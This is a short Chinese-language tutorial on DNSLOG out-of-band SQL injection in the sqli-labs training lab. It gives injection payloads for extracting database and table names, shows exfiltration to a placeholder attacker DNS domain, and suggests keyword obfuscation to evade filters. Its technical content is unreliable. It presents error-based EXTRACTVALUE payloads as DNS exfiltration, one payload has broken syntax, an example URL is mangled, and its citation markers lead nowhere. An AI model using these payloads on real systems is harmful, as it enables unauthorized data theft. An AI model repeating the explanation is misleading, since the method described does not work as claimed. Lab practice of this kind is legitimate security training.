mysql注入---DNSLOG注入

### sqli-labs DNSLOG数据外带教程 在学习 `sqli-labs` 的过程中，可以通过实验掌握 DNSLOG 数据外带技术。以下是关于如何利用此技术完成 SQL 注入的具体说明。 #### 使用场景分析 DNSLOG 外带注入是一种高级的 SQL 注入方式，在某些情况下可以绕过传统的报错注入或布尔/时间盲注限制。当目标环境不允许返回错误信息或者延迟响应时，这种技术尤为有效[^2]。 #### 构造查询语句 为了实现数据外带，通常会借助 MySQL 函数如 `CONCAT()` 或者 `EXTRACTVALUE()` 来构建恶意输入并触发外部请求。例如： ```sql SELECT EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)); ``` 上述代码片段展示了如何提取当前数据库名称并通过特殊字符分隔符 (`~`) 将其嵌套到 XML 解析器中引发异常行为[^4]。 如果服务器配置允许网络访问，则该操作可能会尝试解析类似于下面这样的 URL 地址： ``` http://<database_name>.your-dnslog-domain.com/ ``` 其中 `<database_name>` 是实际存在的库名；而 `your-dnslog-domain.com` 则需替换为你控制下的合法域名服务提供商地址（比如 ceye.io）。 #### 完整攻击流程实例 假设我们正在测试 Less-9 题目，并希望获取所有可用表的信息列表。此时可按照如下步骤执行： 1. **准备工具** - 设置好自己的 DNSLog 平台账户。 2. **编写payload** 下面是一个可能用于泄露 schema 名称的例子： ```sql id=-1' AND ExtractValue(1, CONCAT('!', (SELECT SUBSTRING(GROUP_CONCAT(table_name), 1, LENGTH(GROUP_CONCAT(table_name))) FROM information_schema.tables WHERE table_schema=database())))! --+ ``` 3. **发送请求** 当这条命令被执行之后，应该能看到类似以下格式的日志条目出现在您的 DNS 记录里头： ``` http://tables_names.your-dnslog-domain.com/ ``` 注意这里同样需要考虑关键字过滤问题，必要时采用变形写法规避检测机制[^3]。 --- ### 注意事项 尽管这种方法非常强大，但在真实环境中实施前务必获得授权许可以免触犯法律条款！ ---